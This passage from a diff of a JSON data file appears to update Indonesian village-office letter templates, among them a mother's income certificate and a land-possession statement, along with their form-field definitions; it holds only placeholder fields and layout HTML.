        Surat Keterangan ini dibuat atas permintaan yang bersangkutan untuk keperluan anaknya untuk [Form_keperluaN] di [Form_nama_sekolaH]<\/strong> <\/strong>atas nama :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma] <\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawiN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_sedanG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -5038,9 +4990,6 @@ ], "sex": "", "status_dasar": [ - "1" - ], - "kk_level": [ "1", "2", "3", @@ -5049,26 +4998,62 @@ "6", "7", "8", - "9", - "10", - "11" + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", + "judul": "Utama", "label": "Keterangan Pemohon", "info": "", - "sebagai": 1, "hubungan": null } }, "kode_isian": [ + { + "tipe": "text", + "kode": "[form_penghasilan_ayah]", + "nama": "Penghasilan Ayah", + "deskripsi": "Isi Jumlah Penghasilan Ayah Perbulan", + "required": "0", + "atribut": "class=\" rupiah\"", + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, { "tipe": "textarea", - "kode": "[form_sebab_sebab]", - "nama": "Sebab - sebab", - "deskripsi": "Sebab - sebab", - "required": "1", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Isi Keperluan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_nama_sekolah]", + "nama": "Nama Sekolah", + "deskripsi": "Isi Nama Sekolah", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, @@ -5087,21 +5072,22 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Bepergian", - "url_surat": "surat-keterangan-bepergian", - "kode_surat": "S-10", + "nama": "Keterangan Penghasilan Ibu", + "url_surat": "surat-keterangan-penghasilan-ibu", + "kode_surat": "S-45", "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", - "mandiri": true, + "mandiri": false, "masa_berlaku": 1, "satuan_masa_berlaku": "M", "qr_code": false, "logo_garuda": false, "kecamatan": "0", - "syarat_surat": "[\"2\",\"3\",\"1\"]", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nBerlaku mulai<\/td>\r\n:<\/td>\r\n[Mulai_berlakU] s\/d [Berlaku_sampaI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "syarat_surat": null, + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NaMa_ibu]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[NiK_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[JeNis_kelamin_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlAmat_ibu] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang yang tersebut di atas adalah benar-benar warga kami yang bertempat tinggal di [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten] dan tercatat dalam No. KK : [No_kK] dengan NIK [NiK_ibu] Kepala Keluarga : [Kepala_kK] dan menurut sepengetahuan kami memang benar berpenghasilan rata-rata [Form_jumlah_penghasilan_ibu] \/ Perbulan.

        <\/p>\r\n

        Surat Keterangan ini dibuat atas permintaan yang bersangkutan untuk keperluan anaknya untuk [Form_keperluaN] di [Form_nama_sekolaH]<\/strong> <\/strong>atas nama :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma] <\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawiN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_sedanG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -5132,20 +5118,45 @@ ], "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", + "judul": "Utama", "label": "Keterangan Pemohon", "info": "", - "sebagai": 1, "hubungan": null } }, "kode_isian": [ + { + "tipe": "text", + "kode": "[form_jumlah_penghasilan_ibu]", + "nama": "Jumlah Penghasilan Ibu", + "deskripsi": "Isi Jumlah Penghasilan Ayah Perbulan", + "required": "0", + "atribut": "class=\" rupiah\"", + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, { "tipe": "textarea", "kode": "[form_keperluan]", "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", - "required": "1", + "deskripsi": "Isi Keperluan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_nama_sekolah]", + "nama": "Nama Sekolah", + "deskripsi": "Isi Nama Sekolah", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, @@ -5164,26 +5175,28 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Permohonan Akta Lahir", - "url_surat": "surat-permohonan-akta-lahir", - "kode_surat": "S-18", + "nama": "Pernyataan Penguasaan Fisik Bidang Tanah SPORADIK", + "url_surat": "surat-pernyataan-penguasaan-fisik-bidang-tanah-sporadik", + "kode_surat": "S-40", "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", "mandiri": false, "masa_berlaku": 1, - "satuan_masa_berlaku": "M", + "satuan_masa_berlaku": "d", "qr_code": false, "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "\r\n\r\n\r\n\r\n
        Nomor<\/td>\r\n:<\/td>\r\n[Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n
        Perihal<\/td>\r\n:<\/td>\r\n\r\n

        [JUdul_surat]<\/span><\/h4>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


        Kepada Yth

        Kepala Pengadilan Agama
        [SeButan_kabupaten] [NaMa_kabupaten]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Mengajukan permohonan untuk diterbitkan penetapan Pengadilan Negeri sebagai persyaratan pencatatan peristiwa kelahiran dan penerbitan kutipan Akta Kelahiran atas nama:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Form_nama_anaK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Form_tempat_lahiR], [Form_tanggal_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nHari Lahir<\/td>\r\n:<\/td>\r\n[Form_hari_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Form_alamat_anaK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[Form_nama_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[Form_nama_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nAlamat Orang Tua<\/td>\r\n:<\/td>\r\n[Form_alamat_orang_tuA]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n
        \r\n
        Yang bertanda tangan di bawah ini :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nTempat & Tgl. Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNomor KTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nAlamat<\/td>\r\n:

        <\/td>\r\n
        [AlamaT] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Dengan ini menyatakan bahwa saya dengan itikad baik telah menguasai sebidang tanah yang terletak :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nJalan \/ RT<\/td>\r\n:<\/td>\r\n[Form_jalaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nDusun<\/td>\r\n:<\/td>\r\n[Form_rt_rW]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nDesa\/ Kelurahan<\/td>\r\n:<\/td>\r\n[Form_desa_kelurahaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKecamatan<\/td>\r\n:<\/td>\r\n[Form_kecamataN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKabupaten<\/td>\r\n:<\/td>\r\n[Form_kabupaten_kotA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNIB<\/td>\r\n:<\/td>\r\n[Form_niB]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nStatus Tanah<\/td>\r\n:<\/td>\r\n[Form_status_tanaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nDipergunakan untuk<\/td>\r\n:<\/td>\r\n[Form_dipergunakaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nLuas<\/td>\r\n:<\/td>\r\n[Form_luas_tanah_m2]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Batas-Batas Tanah :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nSebelah Utara<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_utarA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nSebelah Selatan<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_selataN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nSebelah Timur<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_timuR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nSebelah Barat<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_baraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Bidang Tanah tersebut saya peroleh dari [Form_tanah_diperoleh_dari_] tahun [Form_diperoleh_sejak_tahuN] dengan jalan [Form_jalaN] \/ terlampir yang sampai saat ini saya kuasai secara terus menerus dan<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        -<\/td>\r\n\u00a0<\/td>\r\nTidak diajukan\/ menjadi jaminan hutang<\/td>\r\n<\/tr>\r\n
        -<\/td>\r\n\u00a0<\/td>\r\nTidak dalam keadaan sengketa<\/td>\r\n<\/tr>\r\n
        -<\/td>\r\n\u00a0<\/td>\r\nTidak merupakan tanah warisan yang belum di bagi<\/td>\r\n<\/tr>\r\n
        -<\/td>\r\n\u00a0<\/td>\r\nBelum bersertifikat<\/td>\r\n<\/tr>\r\n
        -<\/td>\r\n\u00a0<\/td>\r\nPenggunaannya tidak pernah di ganggu gugat<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Surat pernyataan ini saya bubuhkan cap jempol setelah saya dibacakan dan mengerti isi\/ maksud, dibuat dengan sebenarnya dengan penuh tanggung jawab dan saya bersedia untuk mengangkat sumpah bila diperlukan.

        Demikian dan apabila ini tidak benar, saya bersedia dituntut di hadapan pihak berwenang.

        SAKSI-SAKSI<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Nama_saksi_I]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_saksi_I]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_I]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Alamat_saksi_I]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nTanda Tangan<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Nama_saksi_iI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_saksi_iI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_iI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Alamat_saksi_iI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nTanda Tangan<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        Reg No: ____________________<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Tanggal : ____________________<\/td>\r\n\u00a0<\/td>\r\nHormat Kami,<\/td>\r\n<\/tr>\r\n
        Mengetahui \/ Membenarkan<\/td>\r\n[qr_code]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        [Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        [Nama_pamonG]<\/td>\r\n\u00a0<\/td>\r\n[NamA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


        <\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, "data": [ - "1" + "1", + "3" ], "sex": "", "status_dasar": [ @@ -5191,10 +5204,38 @@ "2", "3", "4", + "5", "6", + "7", + "8", "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Pemohon", + "hubungan": null + }, + "letak": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -5203,20 +5244,27 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Identitas Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Letak Tanah", + "label": "ATAS TANAH YANG TERLETAK", + "hubungan": "" }, - "anak": { - "sumber": 0, + "batas": { + "sumber": "0", "data": [ "1" ], @@ -5226,10 +5274,36 @@ "2", "3", "4", + "5", "6", + "7", + "8", "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Batas Tanah", + "label": "BATAS-BATAS", + "hubungan": "" + }, + "asal": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -5238,167 +5312,33 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Anak", - "label": "Identitas Anak", - "info": "", - "sebagai": 0, + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Asal Tanah", + "label": "TANAH DI PEROLEH", "hubungan": "" - } - }, - "kode_isian": [ - { - "kategori": 